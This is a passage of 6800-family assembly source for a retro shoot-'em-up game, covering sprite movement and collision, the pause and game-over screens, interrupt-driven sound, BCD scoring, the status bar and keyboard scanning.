gameMode rts _nextStage: staa stageCurrent ldaa #GameModeStageInit staa gameMode _done: rts ;---------------------------------------- ;modePause ;---------------------------------------- .module ModePause modePause: jsr statusBarClear ldd #$0000 ldx #stringPause jsr stringWrite _loop: ldd #100 jsr clockWait jsr keyboardScanMenu tst keyBreakDown ;wait for break not down bne _loop tst keyEnterDown bne _resume tst keyQDown bne _quit bra _loop _quit: ldaa #GameModeGameOver staa gameMode bra _updateStatus _resume: ldaa #GameModeStagePlay staa gameMode _updateStatus: jsr statusBarDraw jsr statusBarUpdateScore jsr statusBarUpdateLives jsr statusBarUpdateTimer jsr statusBarUpdateExtra rts ;---------------------------------------- ;modeGameOver ;---------------------------------------- .module ModeGameOver _timeOut .byte 20 _cnt .byte 0 _leftSpin .word $0000 _rightSpin .word $0000 _screenPtr .word $0000 _Delay .equ 75 _Sc1 .equ 47 _Sc2 .equ 45 _Sc3 .equ 28 _Sc4 .equ 33 modeGameOver: ldaa #1 ;suicide player also jsr spriteSuicideAll ldd scoreHigh subd highScoreHigh beq _checkLow bcc _newHigh ;score hi > highScore hi bra _noNewHigh ;score hi < highScore hi _checkLow: ldd score subd highScore beq _noNewHigh bcc _newHigh ;score > highScore _noNewHigh: ldaa #8 ldx #stringGameOver jsr stringWriteCentered ldd #3000 jsr clockWait jmp _done _newHigh: ldd score std highScore ldd scoreHigh std highScoreHigh ldaa #7 ldx #stringGameOver jsr stringWriteCentered ldaa #9 ldx #stringNewHighScore jsr stringWriteCentered ldaa #25 ldab #9 jsr scoreDisplayHighScore ldaa #15 staa _timeOut _highlight: ldaa #BytesPerRow ldab #9 ;row mul addd #VideoRAM addd #5 ;col std _screenPtr subd #1 std _leftSpin addd #22 std _rightSpin _hiLoop: ldx _screenPtr ldaa #21 staa _cnt _loop: ldaa ,x cmpa #64 blo _isLower suba #64 bra _doChr _isLower: adda #64 _doChr: staa ,x inx dec _cnt bne _loop pshx ldaa #_Sc1 ldx _leftSpin staa ,x ldaa #_Sc4 ldx _rightSpin staa ,x ldd #_Delay jsr clockWait ldaa #_Sc2 ldx _leftSpin staa ,x ldaa #_Sc3 ldx _rightSpin staa ,x ldd #_Delay jsr clockWait ldaa #_Sc3 ldx _leftSpin staa ,x ldaa #_Sc2 ldx _rightSpin staa ,x ldd #_Delay jsr clockWait ldaa #_Sc4 ldx _leftSpin staa ,x ldaa #_Sc1 ldx _rightSpin staa ,x ldd #_Delay jsr clockWait pulx dec _timeOut beq _done bra _hiLoop _done: ldaa #GameModeOpenScreen staa gameMode rts ;======================================== ;Actor inits and movement patterns ;======================================== ;pShotInit ;Initialize a pShot sprite ;'x' = pointer to sprite ;'a' = x ;'b' = y ;---------------------------------------- .module PShotInit pShotInit: jsr spriteSetup ldd #pShotFrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #pShotFrameCount staa SpriteFrameCount,x ldd #pShotDelays0 std SpriteFrameDels,x ldd #movePatPShot std SpriteMovePat,x ldaa #2 staa SpriteWidth,x ldaa #1 staa SpriteHeight,x ldd #35 std SpriteSpeed,x std SpriteSpeedCount,x ldaa #DirUp staa SpriteDir,x ldaa #SpriteTypePShot staa SpriteType,x ldd #0 std SpriteKillFunc,x rts ;---------------------------------------- ;movePatPShot ;Default movement pattern for pShots. ;---------------------------------------- .module MovePatPShot movePatPShot: ldx W0 ldab SpriteY,x decb cmpb #PlayfieldY1 bhs _move jsr spriteKill rts _move: ldaa SpriteX,x jsr spriteMove ldaa SpriteY,x cmpa #PlayfieldY2-3 blo _checkCollide ldaa #1 staa playerNeedDraw _checkCollide: ldaa #EnemyCount staa B0 ldd enemySprites jsr spriteCollisionTest cpx #0 beq _done jsr spriteKill _done: rts ;---------------------------------------- ;playerInit ;Initialize the player player ;---------------------------------------- .module PlayerInit playerInit: ldx #playerSprite ldaa #PlayfieldX1+(PlayfieldWidth/2) - 2 ldab #PlayfieldY2-3 jsr spriteSetup ldaa #DirRight staa playerDir ldd #playerDelays0 std playerFrameDels ldd #playerFrameSeq0 std playerFramePtr ldd #movePatPlayer std playerMovePat ldd #PlayerDefaultSpeed std playerSpeed std playerSpeedCount ldaa #SpriteTypePlayer staa playerSpriteType ldd #0 std playerKillFunc rts ;---------------------------------------- ;movePatPlayer ;Player movement by user ;---------------------------------------- .module MovePatPlayer movePatPlayer: ldx W0 ldaa keyLeftDown beq _checkRight ldaa SpriteX,x cmpa #PlayfieldX1 bhi _doLeft jmp _checkFire _doLeft: ldaa SpriteX,x deca ldab SpriteY,x jsr spriteMove ldaa #DirLeft staa SpriteDir,x bra _checkFire _checkRight: ldaa keyRightDown beq _checkFire _doRight: ldaa SpriteX,x adda SpriteWidth,x cmpa #PlayfieldX2 bhi _checkFire ldaa SpriteX,x inca ldab SpriteY,x jsr spriteMove ldaa #DirRight staa SpriteDir,x _checkFire: ldaa pShotFireCount beq _fireOk dec pShotFireCount beq _fireOk bra _done _fireOk: tst playerAllowFire beq _done ldaa keyFireDown beq _done ldaa pShotFireDelay staa pShotFireCount ldaa #PShotCount ldx pShotSprites jsr spriteGetInactive cpx #0 beq _done ldaa playerX adda #2 ldab playerY subb #1 jsr pShotInit ldaa #1 staa SpriteActive,x staa SpriteNeedDraw,x ldx #soundFire jsr soundPlay _done: rts ;---------------------------------------- ;movePatPlayerDeath ;Player death sequence ;---------------------------------------- .module MovePatPlayerDeath movePatPlayerDeath: ldx W0 ldaa SpriteStage,x beq _stage0 cmpa #1 beq _stage1 bra _stage2 _stage0: ldd #deathDelays ;stop animating (very long delays) std SpriteFrameDels,x ldd #40 ;flash rate std SpriteSpeed,x std SpriteSpeedCount,x ldaa #10 ;flash count staa SpriteB0,x inc SpriteStage,x ldx #soundPlayerDeath jsr soundPlay rts _stage1: ldaa #OrangePixel staa SpriteAltColor,x ldaa #1 staa SpriteNeedDraw,x inc SpriteStage,x rts _stage2: clr SpriteAltColor,x dec SpriteB0,x beq _kill ldaa #1 staa SpriteNeedDraw,x dec SpriteStage,x rts _kill: ldaa #SpriteTypeNone staa SpriteType,x ;so it won't reset death sequence jsr spriteKill rts ;---------------------------------------- ;movePatEnemyDeath ;Enemy death sequence ;---------------------------------------- .module MovePatEnemyDeath movePatEnemyDeath: ldx W0 ldaa SpriteStage,x beq _stage0 cmpa #1 beq _stage1 bra _stage2 _stage0: ldd #deathDelays ;stop animating (very long delays) std SpriteFrameDels,x ldd #40 ;flash rate std SpriteSpeed,x std SpriteSpeedCount,x ldaa #3 ;flash count staa SpriteB0,x inc SpriteStage,x ldd #exFrameSeq0 ;check if extra life enemy subd SpriteFrameSeq,x bne _notExtra ldaa #255 ;orange full block ldx #exFrame0_0 staa 3,x ldx #exFrame1_0 staa 3,x ldx #exFrame2_0 staa 3,x ldx #exFrame3_0 staa 3,x _notExtra: ldx #soundEnemyDeath jsr soundPlay rts _stage1: ldaa #BuffPixel staa SpriteAltColor,x ldaa #1 staa SpriteNeedDraw,x inc SpriteStage,x rts _stage2: clr SpriteAltColor,x dec SpriteB0,x beq _kill ldaa #1 staa SpriteNeedDraw,x dec SpriteStage,x rts _kill: ldaa #SpriteTypeNone staa SpriteType,x ;so it won't reset death sequence jsr spriteKill rts ;---------------------------------------- ;movePatE0 ;Fall off screen and die. ;W0 = pointer to srpite ;---------------------------------------- .module MovePatE0 movePatE0: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 _stage0: ldaa #PlayfieldY2+2 ;row to die staa SpriteB2,x inc SpriteStage,x rts _stage1: jsr seqDownToY tsta beq _done jsr spriteSuicide _done: rts ;======================================== ;Collision detect and resolve functions ;======================================== ;eShotCollisionTest ;Test for a collision between eShots and player ;Kill eShot and player if collided ;---------------------------------------- .module EShotCollisionTest _idx .byte 0 eShotCollisionTest: ldaa #EShotCount staa _idx ldx eShotSprites _eShotLoop: ldaa SpriteActive,x beq _nextEShot ldaa SpriteMoved,x beq _nextEShot clr SpriteMoved,x ldaa #1 staa B0 ldd #playerSprite pshx jsr spriteCollisionTest cpx #0 beq _eShotCont jsr spriteKill ;kill player pulx jsr spriteKill ;kill self rts ;bra _nextEShot _eShotCont: pulx _nextEShot: dec _idx beq _done ldab #SizeOfSprite abx bra _eShotLoop _done: rts ;---------------------------------------- ;enemyCollisionTest ;Test for a collision between enemy and player/eShots ;Kill enemys and pShot/player if collided ;---------------------------------------- .module EnemyCollisionTest _idx .byte 0 enemyCollisionTest: ldaa #EnemyCount staa _idx ldx enemySprites _enemyLoop: ldaa SpriteActive,x beq _nextEnemy ldaa SpriteMoved,x beq _nextEnemy clr SpriteMoved,x ldaa #PShotCount staa B0 ldd pShotSprites pshx jsr spriteCollisionTest cpx #0 beq _checkShip jsr spriteKill ;kill shot pulx jsr spriteKill ;kill self bra _nextEnemy _checkShip: pulx ldaa #1 staa B0 ldd #playerSprite pshx jsr spriteCollisionTest cpx #0 beq _enemyCont jsr spriteKill ;kill player ldx stageData ldaa StageType,x pulx cmpa #StageTypeBonus beq _addScore ldd #0 std SpritePointValue,x _addScore: jsr spriteKill ;kill enemy bra _nextEnemy _enemyCont: pulx _nextEnemy: dec _idx beq _done ldab #SizeOfSprite abx bra _enemyLoop _done: rts ;---------------------------------------- ;pShotCollisionTest ;Test for a collision between pShots and enemies ;Kill enemies and pShots if collided ;---------------------------------------- .module PShotCollisionTest _idx .byte 0 pShotCollisionTest: ldaa #PShotCount staa _idx ldx pShotSprites _pShotLoop: ldaa SpriteActive,x beq _nextPShot ldaa SpriteMoved,x beq _nextPShot clr SpriteMoved,x ldaa #EnemyCount staa B0 ldd enemySprites pshx jsr spriteCollisionTest cpx #0 beq _pShotCont ;ldaa #1 jsr spriteKill ;set enemy pulx jsr spriteKill ;kill self bra _nextPShot _pShotCont: pulx _nextPShot: dec _idx beq _done ldab #SizeOfSprite abx bra _pShotLoop _done: rts ;---------------------------------------- ;playerCollisionTest ;Test for a collision between player and enemies/eShots ;---------------------------------------- .module PlayerCollisionTest playerCollisionTest: ldaa playerMoved bne _test1 rts _test1: clr playerMoved ldx #playerSprite ldaa #EnemyCount+EShotCount staa B0 ldd enemySprites jsr spriteCollisionTest clra cpx #0 beq _done ldx #playerSprite jsr spriteKill _done: rts ;---------------------------------------- ;spriteCollisionTest ;Test for a collision between sprites ;'x' = source sprite ;'d' = pointer to sprites to check ;'B0' = number of sprites to check ;returns x = pointer to first sprite collided with, or 0 if none ;---------------------------------------- .module SpriteCollisionTest _cnt .equ B0 _x1 .equ B1 _x2 .equ B2 _y1 .equ B3 _y2 .equ B4 spriteCollisionTest: std W0 ldaa SpriteX,x staa _x1 ldaa SpriteX2,x staa _x2 ldaa SpriteY,x staa _y1 ldaa SpriteY2,x staa _y2 ldx W0 _loop: tst SpriteActive,x beq _nextSprite ldaa _x1 cmpa SpriteX2,x bls _test2 bra _nextSprite _test2: ldaa _x2 cmpa SpriteX,x bhs _test3 bra _nextSprite _test3: ldaa _y1 cmpa SpriteY2,x bls _test4 bra _nextSprite _test4: ldaa _y2 cmpa SpriteY,x blo _nextSprite ;collided with sprite in X so just return rts _nextSprite: dec _cnt beq _done ldab #SizeOfSprite abx bra _loop _done: ldx #0 ;no collision rts ;======================================== ;Sprite Functions ;======================================== ;spriteGetInactive ;Get a point to the first inactive sprite of a type. ;'a' = sprite count (e.g. PShotCount) ;'x' = pointer to first sprite of the type (e.g. pShotSprites) ;returns pointer in x, or 0 if none available ;---------------------------------------- .module SpriteGetInactive _cnt .equ B0 spriteGetInactive: staa _cnt _next: ldab SpriteActive,x beq _done ldab #SizeOfSprite abx dec _cnt bne _next ldx #$0000 _done: rts ;---------------------------------------- ;spriteMove ;Updates x,y, lastX/Y, x2/y2, needDraw, etc. ;'x' = pointer to sprite ;'a' = new x ;'b' = new y ;---------------------------------------- .module SpriteMove spriteMove: psha ldaa SpriteX,x staa SpriteLastX,x pula staa SpriteX,x adda SpriteWidth,x deca staa SpriteX2,x ldaa SpriteY,x staa SpriteLastY,x stab SpriteY,x addb SpriteHeight,x decb stab SpriteY2,x ldaa #1 staa SpriteMoved,x staa SpriteNeedDraw,x staa SpriteNeedErase,x rts ;---------------------------------------- ;spriteChangeMovePat ;Change the movement patter of the a sprite. ;'x' = pointer to sprite ;'d' = address of mseq ;---------------------------------------- ;.module SpriteChangeMovePat ; ;spriteChangeMovePat: ; std SpriteMovePat,x ; clr SpriteStage,x ; ldd SpriteSpeed,x ; std SpriteSpeedCount,x ; rts ;---------------------------------------- ;spriteSuicideAll ;Kill all sprites, player sprite optional ;'a' = suicide player also (0/1) ;---------------------------------------- .module SpriteSuicideAll _cnt .equ B0 spriteSuicideAll: _mainLoop: ldx #spriteArray ldab #SpriteCount stab _cnt tsta bne _loop decb ;skip player inx inx stab _cnt _loop: pshx ldx ,x jsr spriteSuicide pulx inx inx dec _cnt bne _loop jsr spriteUpdateAll rts ;---------------------------------------- ;spriteSuicide ;Same as spriteKill except killFunc not called and death move pat not assigned. ;Used when enemies kill themselves. ;'x' = pointer to sprite ;---------------------------------------- .module SpriteSuicide spriteSuicide: ldaa #1 staa SpriteKillNow,x staa SpriteNeedErase,x clr SpriteNeedDraw,x ;so it will erase at current x,y ldaa SpriteX,x staa SpriteLastX,x ldaa SpriteY,x staa SpriteLastY,x rts ;---------------------------------------- ;spriteKill ;Sets variables so spriteUpdateAll will erase and inactivate sprite ;'x' = pointer to sprite ;'x' is preserved ;---------------------------------------- .module SpriteKill spriteKill: ldaa SpriteKillNow,x bne _done ;tst SpriteKillFunc,x ;was it enemy that suicided? ;beq _normalKill ldaa SpriteType,x cmpa #SpriteTypeEnemy bne _checkPlayer ldd SpriteMovePat,x subd #movePatEnemyDeath beq _doNothing ;already dying ldd #movePatEnemyDeath std SpriteMovePat,x clr SpriteStage,x _doNothing: rts _checkPlayer: ldaa SpriteType,x cmpa #SpriteTypePlayer bne _normalKill ldaa stageType ;don't die on bonus stage cmpa #StageTypeBonus beq _doNothing ldd SpriteMovePat,x subd #movePatPlayerDeath beq _doNothing ;already dying ldd #movePatPlayerDeath std SpriteMovePat,x clr SpriteStage,x rts _normalKill: ldaa #1 staa SpriteKillNow,x staa SpriteNeedErase,x clr SpriteNeedDraw,x ;so it will erase at current x,y ldaa SpriteX,x staa SpriteLastX,x ldaa SpriteY,x staa SpriteLastY,x tst SpriteKillFunc,x beq _done stx W0 pshx ldx SpriteKillFunc,x jsr ,x pulx _done: rts ;---------------------------------------- ;spriteSetup ;Set the common sprite variables ;'x' = pointer to sprite ;'a' = x ;'b' = y ;---------------------------------------- .module SpriteSetup spriteSetup: staa SpriteX,x staa SpriteLastX,x adda SpriteWidth,x deca staa SpriteX2,x stab SpriteY,x stab SpriteLastY,x addb SpriteHeight,x decb stab SpriteY2,x ldd #0 std SpriteTimer,x staa SpriteKillNow,x staa SpriteCurFrame,x staa SpriteStage,x staa SpriteAltColor,x staa SpriteNeedErase,x inca staa SpriteActive,x staa SpriteNeedDraw,x ldd #100 std SpriteCurCount,x ldd SpriteSpeed,x std SpriteSpeedCount,x rts ;---------------------------------------- ;spritesInit - Initialize the sprite variables and default sprites ;---------------------------------------- .module SpritesInit _cnt .equ B0 _arrayPtr .equ W0 _dataPtr .equ W1 spritesInit: ldx #spriteArray stx _arrayPtr jsr playerInit ldd #playerSprite ldx _arrayPtr std ,x inx inx stx _arrayPtr ;pShots ldaa pShotFireDelay staa pShotFireCount ldd #spriteData std _dataPtr std pShotSprites ldaa #PShotCount staa _cnt _pShotLoop: ldd _dataPtr std ,x inx inx stx _arrayPtr ldx _dataPtr ldd #0 jsr pShotInit clr SpriteActive,x clr SpriteNeedDraw,x dec _cnt beq _doEnemies ldd _dataPtr addd #SizeOfSprite std _dataPtr ldx _arrayPtr bra _pShotLoop _doEnemies: ldaa #EnemyCount staa _cnt ldd _dataPtr addd #SizeOfSprite std _dataPtr std enemySprites ldx _arrayPtr _enemyLoop: pshx std ,x ldx ,x clr SpriteActive,x psha ldaa #3 suba _cnt staa SpriteIndex,x pula pulx inx inx dec _cnt beq _doEShots addd #SizeOfSprite std _dataPtr bra _enemyLoop _doEShots: ldaa #EShotCount staa _cnt ldd _dataPtr addd #SizeOfSprite std eShotSprites std _dataPtr _eShotLoop: pshx ldx ,x clr SpriteActive,x pulx std ,x inx inx dec _cnt beq _done addd #SizeOfSprite std _dataPtr clr SpriteActive,x bra _eShotLoop _done: rts ;---------------------------------------- ;spriteUpdateAll ;Move, update and draw all sprites ;---------------------------------------- .module SpriteUpdateAll _tmpw .word $0000 _idx .byte $00 spriteUpdateAll: ldab #SpriteCount ;update sprites in reverse order stab _idx _spriteLoop: ldx #spriteArray ;point to sprite[_idx] ldab _idx decb lslb abx ldx ,x ldaa SpriteActive,x beq _nextSprite ldaa SpriteKillNow,x beq _noKillI clr SpriteActive,x ;inactivate here so it can still erase bra _goErase _noKillI: ldaa SpriteFrameCount,x cmpa #1 bls _noFrameUpdate pshx jsr spriteUpdateFrame pulx _noFrameUpdate: pshx ldaa SpriteActive,x beq _moveDone ;not acive ldd SpriteSpeedCount,x beq _doMove ;active but timer not used subd deltaMS beq _resetCnt blo _adjustCnt std SpriteSpeedCount,x bra _moveDone _adjustCnt: ldd deltaMS subd SpriteSpeedCount,x std W0 ldd SpriteSpeed,x subd W0 bls _resetCnt std SpriteSpeedCount,x bra _doMove _resetCnt: ldd SpriteSpeed,x std SpriteSpeedCount,x _doMove: stx W0 ldx SpriteMovePat,x jsr ,x _moveDone: pulx _goErase: ldaa SpriteNeedErase,x beq _checkDraw pshx jsr spriteErase pulx _checkDraw: ldaa SpriteNeedDraw,x beq _nextSprite jsr spriteDraw _nextSprite: dec _idx bne _spriteLoop jsr playerCollisionTest jsr pShotCollisionTest jsr enemyCollisionTest jsr eShotCollisionTest rts ;---------------------------------------- ;spriteUpdateFrame ;Update frame of sprite at 'x' ;'x' should point to sprite data ;SpriteActive is assumed true ;---------------------------------------- .module SpriteUpdateFrame _tmpw .equ W0 spriteUpdateFrame: ldd SpriteCurCount,x subd #1 std SpriteCurCount,x bne _done ldab SpriteCurFrame,x incb cmpb SpriteFrameCount,x blt _updatePtr clrb _updatePtr: ldaa #1 staa SpriteNeedDraw,x stab SpriteCurFrame,x pshx ldx SpriteFrameDels,x lslb abx ldd ,x pulx std SpriteCurCount,x ldab SpriteCurFrame,x pshx ldx SpriteFrameSeq,x lslb abx stx _tmpw pulx ldd _tmpw std SpriteFramePtr,x _done: rts ;---------------------------------------- ;spriteDraw ;'x' should point to sprite ;---------------------------------------- .module SpriteDraw _widthHi .byte $00 ;Keep these two in order. _width .byte $00 ;Used in 16-bit math. _height .byte $00 _byteCnt .byte $00 _altColor .byte $00 ;used to flash sprite _framePtr .word $0000 _screenPtr .word $0000 spriteDraw: clr SpriteNeedDraw,x ldaa SpriteAltColor,x staa _altColor ldaa SpriteX,x ldab SpriteY,x jsr calcXYAddress std _screenPtr ldab #0 ldaa SpriteX,x ;if x is odd, add 1 to frame pointer bita #1 beq _checkY incb _checkY: ldaa SpriteY,x ;if y is odd, add 2 to frame pointer bita #1 beq _frameDone incb incb _frameDone: lslb ldx SpriteFramePtr,x ldx ,x abx ;adjust the frame pointer ldx ,x ldaa ,x staa _width inx ldaa ,x staa _height inx stx _framePtr _rowLoop: ldab _width stab _byteCnt ldd _screenPtr subd #VideoRAM+BytesPerRow ;at least row 1 of screen? bhs _rowChk2 ldd _framePtr addd _widthHi std _framePtr ldd _screenPtr addd #BytesPerRow bra _nextRoW2 _rowChk2: ldd _screenPtr subd #VideoRAMEnd ;done if off bottom of screen blo _colLoop rts _colLoop: ldab _byteCnt cmpb #1 beq _doByte ldx _framePtr ;draw a word ldd ,x tst _altColor beq _noAltW anda #$0f oraa _altColor andb #$0f orab _altColor _noAltW: inx inx stx _framePtr ldx _screenPtr std ,x inx inx stx _screenPtr dec _byteCnt dec _byteCnt bne _colLoop bra _nextRow _doByte: ldx _framePtr ;draw last byte ldaa ,x tst _altColor beq _noAltB anda #$0f oraa _altColor andb #$0f orab _altColor _noAltB: inx stx _framePtr ldx _screenPtr staa ,x inx stx _screenPtr ;dec _byteCnt ;bne _colLoop _nextRow: ldd _screenPtr addd #BytesPerRow subd _widthHi ;16-bit subtract of _width _nextRoW2: std _screenPtr dec _height beq _done jmp _rowLoop _done: rts ;---------------------------------------- ;spriteErase ;'x' should point to sprite ;---------------------------------------- .module SpriteErase _zero .byte $00 ;Keep these two in order. _width .byte $00 ;Used in 16-bit math. _height .byte $00 _byteCnt .byte $00 _screenPtr .word $0000 spriteErase: clr SpriteNeedErase,x ldaa SpriteLastX,x ldab SpriteLastY,x jsr calcXYAddress std _screenPtr ldab #0 ldaa SpriteLastX,x ;if x is odd, add 1 to frame pointer bita #1 beq _checkY incb _checkY: ldaa SpriteLastY,x ;if y is odd, add 2 to frame pointer bita #1 beq _frameDone incb incb _frameDone: lslb ldx SpriteFramePtr,x ldx ,x abx ;adjust the frame pointer ldx ,x ldaa ,x staa _width inx ldaa ,x staa _height inx ldx _screenPtr _rowLoop: ldab _width stab _byteCnt ldd #BackgroundWord cpx #VideoRAM+BytesPerRow ;at least row 1 of screen? bhs _rowChk2 ldab #BytesPerRow abx bra _skipRow _rowChk2: cpx #VideoRAMEnd ;done if off bottom of screen blo _colLoop rts _colLoop: ldab _byteCnt cmpb #1 beq _lastByte ldab #BackgroundByte std ,x ;erase word at last x,y inx inx dec _byteCnt dec _byteCnt bne _colLoop bra _nextRow _lastByte: staa ,x ;erase last byte at last x,y inx _nextRow: ldab #BytesPerRow subb _width abx _skipRow: dec _height bne _rowLoop rts ;---------------------------------------- ;Draw bound frame ;'x' should point to frame data. ;'a' should hold x coord ;'b' should hold y coord ;Bound frames are only drawn on even byte x boundaries. ;Playfield is not considered. Whole screen used. ;---------------------------------------- .module DrawBoundFrame _widthHi .equ B3 _width .equ B4 _height .equ B5 _dest: .equ W4 drawBoundFrame: clr _widthHi lsra ;divide x by 2 staa _width lsrb ;divide y by 2 ldaa #BytesPerRow mul ;multiply y*BytesPerRow addd #VideoRAM addd _widthHi std _dest ldaa ,x staa _width inx ldaa ,x staa _height inx _rowLoop: ldab _width _colLoop: ldaa ,x inx pshx ldx _dest staa ,x inx stx _dest pulx decb bne _colLoop ldd _dest addd #BytesPerRow subd _widthHi std _dest dec _height bne _rowLoop rts ;======================================== ;Sound Functions ;======================================== ;soundPlay ;Play a sound, if priority is higher than current sound. ;'x' = pointer to sound data ;---------------------------------------- .module SoundPlay soundPlay: ldaa soundPriority beq _playIt ;no sound active cmpa ,x bls _playIt ;current priority < new priority? rts _playIt: sei ldaa ,x staa soundPriority inx inx stx soundData ldd #0 std soundTicksHigh std soundTicksLow std soundCount staa soundNoToggle ldd CPUTicks ;enable interrupt addd #100 std OutCompare ldaa #8 staa TimerControl cli rts ;---------------------------------------- ;IRQOutCompare ;Output compare int handler ;---------------------------------------- .module IRQOutCompare IRQOutCompare: ldaa soundPriority bne _playing jmp _disable _playing: ldd soundCount beq _waveDone subd #1 std soundCount bra _flipBit _waveDone: clr soundNoToggle ldx soundData ldd ,x std soundCount beq _done inx inx ldd ,x std soundTicksHigh inx inx ldd ,x bne _noDelay ldaa #1 staa soundNoToggle ldd soundTicksHigh _noDelay: std soundTicksLow inx inx stx soundData ldaa vdgColorSet staa soundToggle bra _flipBit _done: clr soundPriority ldd #0 std soundTicksHigh std soundTicksLow std soundCount std soundData ldaa vdgColorSet staa soundToggle bra _disable _flipBit: tst soundNoToggle beq _doToggle bra _goLow ;delay active, don't toggle _doToggle: ldaa soundToggle eora #$80 staa soundToggle staa VDGReg bita #$80 bne _goLow ldd CPUTicks addd soundTicksHigh bra _storeTicks _goLow: ldd CPUTicks addd soundTicksLow _storeTicks: std OutCompare ldaa TimerControl ldaa #8 staa TimerControl rti _disable: tsx ;cli in stacked CC reg ldaa ,x oraa #$10 staa ,x rti ;---------------------------------------- ;irqInit ;Initialize the output compare int ;---------------------------------------- .module IRQInit irqInit: ldx #$4206 ;output compare int vector, standard ROM ldaa $fff4 cmpa #$01 ;is it mcx rom? bne _srom ldx #$0106 _srom: ldaa #$7e ;jmp opcode staa ,x inx ldd #IRQOutCompare std ,x ;ldd #OutCompareVal ;std OutCompare ;cli ;ldaa #8 ;bit 3 set = OutCompare int2 ;staa TimerControl rts ;======================================== ;Score Functions ;======================================== ;scoreAddEnemy ;Add an enemies SpritePointValue to the players score. ;---------------------------------------- .module ScoreAddEnemy scoreAddEnemy: ldx W0 ldd SpritePointValue,x cmpa #0 bne _add cmpb #0 bne _add rts _add: std points jsr scoreAddPoints rts ;---------------------------------------- ;scoreAddBonus ;Add a bonus stage item SpritePointValue to the players score. ;---------------------------------------- .module ScoreAddBonus scoreAddBonus: ldx W0 ldd SpritePointValue,x cmpa #0 bne _add cmpb #0 bne _add rts _add: std points jsr scoreAddPoints ldx #soundBonusItem jsr soundPlay rts ;---------------------------------------- ;scoreDisplayHighScore ;Update the displayed high score on game over. ;'a' = col ;'b' = row ;---------------------------------------- .module ScoreDisplayHighScore _cnt .equ B0 _tmpb .equ B1 _screenPtr .equ W0 scoreDisplayHighScore: staa AdderLow ;tmp save col/row stab _tmpb ldx #highScore inx ;point to byte 0 ldaa _tmpb ;row ldab #BytesPerRow mul addd #VideoRAM addd Adder ;col std _screenPtr ldaa #3 ;3 bytes of score staa _cnt _loop: ldaa ,x staa _tmpb anda #$0f adda #48 pshx ldx _screenPtr staa ,x ldaa _tmpb lsra lsra lsra lsra adda #48 dex staa ,x dex stx _screenPtr pulx dex dec _cnt bne _loop rts ;---------------------------------------- ;scoreAddPoints ;Add the BCD value in 'points' to the players score and ;update the displayed score. ;---------------------------------------- .module ScoreAddPoints _tmpB .byte 0 scoreAddPoints: ;scoreHigh .word $0000 ;score .word $0000 ;points .word $0100 ldx #scoreHigh ldaa 1,x staa _tmpB clc ldaa 5,x ;get byte 0 of points adda 3,x ;add to byte 0 of score daa ;adjust for BCD staa 3,x ;save ldaa 4,x ;get byte 1 of points adca 2,x ;add w/carry to byte 1 of score daa ;etc... staa 2,x ldaa #0 adca 1,x ;push the carry bit to the last byte daa staa 1,x ldaa #0 adca ,x daa staa 0,x jsr statusBarUpdateScore ldaa _tmpB cmpa 1,x beq _done inc lives jsr statusBarUpdateLives ldx #soundExtraLifeLong jsr soundPlay _done: rts ;======================================== ;Status Bar Functions ;======================================== ;---------------------------------------- ;statusBarClear ;Clear status bar ;---------------------------------------- .module StatusBarClear statusBarClear: ldx #VideoRAM ldaa #32 _loop: staa ,x inx cpx #VideoRAM+BytesPerRow bne _loop rts ;---------------------------------------- ;statusBarDraw ;Draw status bar ;---------------------------------------- .module StatusBarDraw statusBarDraw: jsr statusBarClear ldd #$0000 ldx #stringScore jsr stringWrite ldd #$0e00 ldx #stringExtra jsr stringWrite ldd #$1700 ldx #stringTimer jsr stringWrite ldd #$1c00 ldx #stringLives jsr stringWrite rts ;---------------------------------------- ;statusBarUpdateScore ;Update the displayed score. ;---------------------------------------- .module StatusBarUpdateScore _cnt .equ B0 _tmpb .equ B1 statusBarUpdateScore: ldaa #3 ;3 bytes of score staa _cnt ldab #11 ;11th character of status bar ldx #score inx ;point to byte 0 of score _loop: ldaa ,x staa _tmpb anda #$0f adda #48 pshx ldx #VideoRAM abx staa ,x ldaa _tmpb lsra lsra lsra lsra adda #48 dex staa ,x pulx dex decb decb dec _cnt bne _loop rts ;---------------------------------------- ;statusBarUpdateTimer ;Display seconds left on status bar ;---------------------------------------- .module StatusBarUpdateTimer _dashdash .text "--",0 statusBarUpdateTimer: ldaa stageCurrent ;last level = infinite cmpa #StageMax bne _cont ldd #$1900 ldx #_dashdash jsr stringWrite rts _cont: ldd #$1900 ldx #stageSecondsLeft jsr stringWriteByte rts ;---------------------------------------- ;statusBarUpdateLives ;Display lives left on status bar ;---------------------------------------- .module StatusBarUpdateLives statusBarUpdateLives: ldd #$1e00 ldx #lives jsr stringWriteByte rts ;---------------------------------------- ;statusBarUpdateExtra ;Display 'extra' letters on status bar ;---------------------------------------- .module StatusBarUpdateExtra statusBarUpdateExtra: ldx #VideoRAM+15 ldab extraValue ldaa #'E' bitb #%10000 bne _e suba #64 _e: staa ,x inx ldaa #'X' bitb #%01000 bne _x suba #64 _x: staa ,x inx ldaa #'T' bitb #%00100 bne _t suba #64 _t: staa ,x inx ldaa #'R' bitb #%00010 bne _r suba #64 _r: staa ,x inx ldaa #'A' bitb #%00001 bne _a suba #64 _a: staa ,x inx ;ldd #$0e00 ;ldx #stringExtra ;jsr stringWrite rts ;======================================== ;Utility Functions ;======================================== ;calcXYAddress ;Caonvert x,y to byte address in video RAM ;'a' should hold x coord ;'b' should hold y coord ;Result returned in 'd' ;---------------------------------------- .module CalcXYAddress _xhi .byte $00 _x .byte $00 calcXYAddress: suba #PlayfieldX1 ;subtract start of playfield lsra ;divide x by 2 staa _x lsrb ;divide y by 2 incb ;skip over status bar ldaa #BytesPerRow mul ;multiply y*BytesPerRow addd #VideoRAM-(BytesPerRow*(PlayfieldY1/2)) addd _xhi rts ;---------------------------------------- ;keyboardScan ;Checks for keyLeft,keyRight, keyFire and Break ;---------------------------------------- keyLeft .byte %11111101,%00000001 keyRight .byte %11110111,%00000100 keyFire .byte %01111111,%00001000 keyLeftDown .byte 0 keyRightDown .byte 0 keyFireDown .byte 0 keyBreakDown .byte 0 KeyReg .equ $bfff .module KeyboardScan keyboardScan: _scanLeft: clr keyLeftDown ldx #keyLeft ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scanRight inc keyLeftDown _scanRight: clr keyRightDown ldx #keyRight ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scanFire inc keyRightDown _scanFire: clr keyFireDown ldx #keyFire ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scanBreak inc keyFireDown 